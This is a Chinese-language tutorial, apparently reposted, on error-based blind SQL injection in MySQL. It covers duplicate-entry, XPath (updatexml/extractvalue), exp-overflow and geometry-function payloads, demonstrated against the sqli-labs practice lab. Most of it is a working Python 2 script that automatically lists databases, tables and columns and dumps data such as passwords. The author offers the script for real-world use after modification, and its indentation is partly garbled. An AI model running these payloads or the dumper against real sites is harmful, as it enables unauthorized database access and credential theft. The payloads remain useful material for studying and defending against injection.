sql盲注之報錯注入(附自動化腳本)


作者:__LSA__

0x00

概述 滲透的時候總會首先測試注入,sql注入可以說是web漏洞界的Boss了,穩居owasp第一位,普通的直接回顯數據的注入現在幾乎絕跡了,絕大多數都是盲注了,此文是盲注系列的第一篇,介紹盲注中的報錯注入。

 

0×01 報錯注入原理


其實報錯注入有很多種,本文主要介紹幾種常見的報錯方法,有新姿勢后續再更新。

1. Duplicate entry報錯:

一句話概括就是多次查詢插入重復鍵值導致count報錯從而在報錯信息中帶入了敏感信息。

關鍵是查詢時會建立臨時表存儲數據,不存在鍵值就插入,group by使插入前rand()會再執行一次,存在就直接值加1,下面以rand(0)簡述原理:

首先看看接下來會用到的幾個函數

Count()計算總數

Concat()連接字符串

Floor()向下取整數

Rand()產生0~1的隨機數

rand(0)序列是011011

1.png

1. 查詢第一條記錄,rand(0)得鍵值0不存在臨時表,執行插入,此時rand(0)再執行,得1,於是插入了1。

2. 查詢第二條記錄,rand(0)得1,鍵值1存在臨時表,則值加1得2。

3. 查詢第三條記錄,rand(0)得0,鍵值0不存在臨時表,執行插入,rand(0)再次執行,得鍵值1,1存在於臨時表,由於鍵值必須唯一,導致報錯。

由上述可得,表中必須存在大於等於3條記錄才會產生報錯,實測也如此。

一些報錯查詢語句(相當於套公式):

假設字段數是3

經典語句:

union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+

version()可以替換為需要查詢的信息。

簡化語句:

union select 1,2,count(*)  from information_schema.columns group by concat(version(),floor(rand(0)*2));–+

2.png

如果關鍵的表被禁用了,可以使用這種形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用戶變量來報錯

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

Sqli-labs less5測試:

1. 獲取庫名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

3.png

2.獲取表名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

5.png

3. 獲取列名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

5.png

4. 爆數據:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

6.png

2. Xpath報錯:

主要的兩個函數:

Mysql5.1.5

1. updatexml():對xml進行查詢和修改

2. extractvalue():對xml進行查詢和修改

都是最大爆32位。

and updatexml(1,concat(0×26,(version()),0×26),1);

and (extractvalue(1,concat(0×26,(version()),0×26)));

Sqli-lab less5測試:

Updatexml():

192.168.43.173:8999/sqli-labs/less-5/?id=1′ and updatexml(1,concat(0×26,database(),0×26),1);–+

7.png

Extractvalue():

192.168.43.173:8999/sqli-labs/less-5/?id=1′ and extractvalue(1,concat(0×26,database(),0×26));–+

8.png

3. 整形溢出報錯:

Mysql>5.5.5

主要函數:

exp(x):計算e的x次方

Payload: and (EXP(~(select * from(select version())a)));

Exp()超過710會產生溢出。

將0按位取反就會返回“18446744073709551615”,而函數執行成功會返回0,所以將成功執行的函數取反就會得到最大的無符號BIGINT值,從而造成報錯。

9.png

4. 數據重復報錯:

Mysql低版本

payload:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x

5. 其余報錯:

GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()

id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()

id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()

id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()

id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()

id =1 AND multipolygon((select * from(select * from(select user())a)b))

 

0×02 報錯注入腳本
依據sqli-lab less-5寫的自動化注入腳本,實戰再根據具體情況修改即可,盲注還是寫腳本方便點。

(建議在linux下使用,win下的cmd無法使用termcolor,win下可注釋並修改print即可,有顏色還是挺酷的!)

#coding:utf-8
#Author:LSA
#Description:blind sqli error base script
#Date:20171222
 
 
 
import sys
import requests
import re
import binascii
from termcolor import *
import optparse
 
fdata = []
 
def judge_columns_num(url):
         
        for i in range(1,100):
                columns_num_url = url + '\'' + 'order by ' + str(i) + '--+'
                rsp = requests.get(columns_num_url)
                rsp_content_length = rsp.headers['content-length']
                if i==1:
                        rsp_true_content_length = rsp_content_length
                        continue
                if rsp_content_length == rsp_true_content_length:
                        continue
                else:
                        print (colored('column nums is ' + str(i-1),"green",attrs=["bold"]))
                        columns_num = i
                        break
 
 
def getDatabases(url):
 
        dbs_url = url +  "' union select 1,count(*),concat((select count(distinct+table_schema) from information_schema.tables),0x26,floor(rand(0)*2))x from information_schema.tables group by x;--+"
            dbs_html = requests.get(dbs_url).content
            dbs_num = int(re.search(r'\'(\d*?)&',dbs_html).group(1))
            print "databases num:" + colored(dbs_num,"green",attrs=["bold"])
            dbs = []
            print ("dbs name: ")
            for dbIndex in xrange(0,dbs_num):
                db_name_url = url + "' union select 1,count(*),concat((select distinct table_schema from information_schema.tables limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % dbIndex
                db_html = requests.get(db_name_url).content
                db_name = re.search(r'\'(.*?)&', db_html).group(1)
                dbs.append(db_name)
                print (colored("\t%s" % db_name,"green",attrs=["bold"]))
 
 
 
def getTables(url, db_name):
            #db_name_hex = "0x" + binascii.b2a_hex(db_name)
            tables_num_url = url + "' union select 1,count(*),concat((select count(table_name) from information_schema.tables where table_schema='%s'),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % db_name
            tables_html = requests.get(tables_num_url).content
            tables_num = int(re.search(r'\'(\d*?)&',tables_html).group(1))
            print ("databases %s,tables num: %d" % (db_name, tables_num))
            print ("tables name: ")
            for tableIndex in xrange(0,tables_num):
                table_name_url = url + "'union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name, tableIndex)
                        table_html = requests.get(table_name_url).content
                table_name = re.search(r'\'(.*?)&',table_html).group(1)
                print (colored("\t%s" % table_name,"green",attrs=["bold"]))
 
 
 
def getColumns(url,db_name,table_name):
         
            #db_name_hex = "0x" + binascii.b2a_hex(db_name)
            #table_name_hex = "0x" + binascii.b2a_hex(table_name)
            dataColumns_num_url = url + "' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' ),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)
            dataColumns_html = requests.get(dataColumns_num_url).content
        dataColumns_num = int(re.search(r'\'(\d*?)&',dataColumns_html).group(1))
            print ("table: %s,dataColumns num: %d" % (table_name, dataColumns_num))
            print ("DataColumns name:")
            for dataColumnIndex in xrange(0,dataColumns_num):
                dataColumn_name_url = url + "' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name,dataColumnIndex)
                dataColumn_html = requests.get(dataColumn_name_url).content
                dataColumn_name = re.search(r'\'(.*?)&',dataColumn_html).group(1)
                print (colored("\t\t%s" % dataColumn_name,"green",attrs=["bold"]))
 
 
 
 
def dumpData(url,db_name,table_name,inputColumns_name):
         
            #db_name_hex = "0x" + binascii.b2a_hex(db_name)
            #table_name_hex = "0x" + binascii.b2a_hex(table_name)
 
        dataColumns_num_url = url + "' union select 1,count(*),concat((select count(*) from %s.%s),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)
            data_html = requests.get(dataColumns_num_url).content
            datas = int(re.search(r'\'(\d*?)&',data_html).group(1))
         
 
        inputColumns = inputColumns_name.split(',')
 
        print (colored("Total datas: " + str(datas),"green",attrs=["bold"]))
        print str(inputColumns_name) + ":"
         
            for inputColumnIndex in xrange(0,len(inputColumns)):
                 
                 
                for dataIndex in xrange(0,datas):
                 
                            dataColumn_name_url = url + "' union select 1,count(*),concat((select %s from %s.%s limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (inputColumns[inputColumnIndex],db_name,table_name,dataIndex)
                            data_html = requests.get(dataColumn_name_url).content
                            data = re.search(r'\'(.*?)&',data_html).group(1)
                        fdata.append(data)
                            print (colored("\t%s" % data,"green",attrs=["bold"]))
        for inputc in range(0,len(inputColumns)):
                print str(inputColumns[inputc]) + "\t",
        print ""
        print "+++++++++++++++++++++++++++++++++++++++++++++++++"
        n = len(fdata) / len(inputColumns)
        for t in range(0,n):
                for d in range(t,len(fdata),n):
                        print colored(fdata[d],"green",attrs=["bold"]) + "\t",
                print ""
        print "+++++++++++++++++++++++++++++++++++++++++++++++++"
                 
                 
 
 
                 
                         
 
 
def main():
         
            parser = optparse.OptionParser('python %prog '+\
                 '-h <manual>')
            parser.add_option('-u', dest='tgtUrl', type='string',\
                 help='input target url')
            parser.add_option('--dbs', dest='dbs', action='store_true', help='get dbs')
        parser.add_option('--tables', dest='tables', action='store_true',\
           help='get tables')
        parser.add_option('--columns', dest='columns', action='store_true',\
           help='get columns')
 
            parser.add_option('-D', dest='db', type='string', help='choose a db')
        parser.add_option('-T', dest='table', type='string',\
           help='choose a table')
        parser.add_option('-C', dest='column', type='string',\
           help='choose column(s)')
        parser.add_option('--dump', dest='data', action='store_true',\
           help='get datas')
     
            (options, args) = parser.parse_args()
         
        url = options.tgtUrl
        dbs = options.dbs
        tables = options.tables
        columns = options.columns
        db = options.db
        table = options.table
        column = options.column
        datas = options.data
         
         
        if url and (dbs is None and db is None and tables is None and table is None and columns is None and column is None and datas is None):
                judge_columns_num(url)
         
 
        if url and dbs:
                getDatabases(url)
        if url and db and tables:
                getTables(url,db)
        if url and db and table and columns:
                getColumns(url,db,table)
        if url and db and table and column and datas:
                dumpData(url,db,table,column)
                 
                 
         
 
if __name__ == '__main__':
    main()

 

如不想切換轉義字符可到本人博客復制代碼:www.lsablog.com/network_security/penetration/error-based-blind-sqli/

效果圖:

10.png

11.png

0×03 結語
Exp報錯和其余報錯沒測試成功,不知為何,先這樣吧。(o(∩∩)o…哈哈不知道有多少人能看到這里,回貼送幣!)。

0×04 參考資料
blog.csdn.net/qq_35544379/article/details/77453019

https://bugs.mysql.com/bug.php?id=8652

whc.dropsec.xyz/2017/04/16/SQL報錯注入總結/

blog.51cto.com/wt7315/1891458

https://www.msfcode.com/2016/10/11/【sql注入】mysql十種報錯注入方式/

www.am0s.com/penetration/138.html

www.jianfensec.com/19.html

www.freebuf.com/articles/web/30841.html

https://www.cnblogs.com/lcamry/articles/5509124.html

 

 

>>>>>>黑客入門必備技能   帶你入坑,和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農葯都好玩!

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM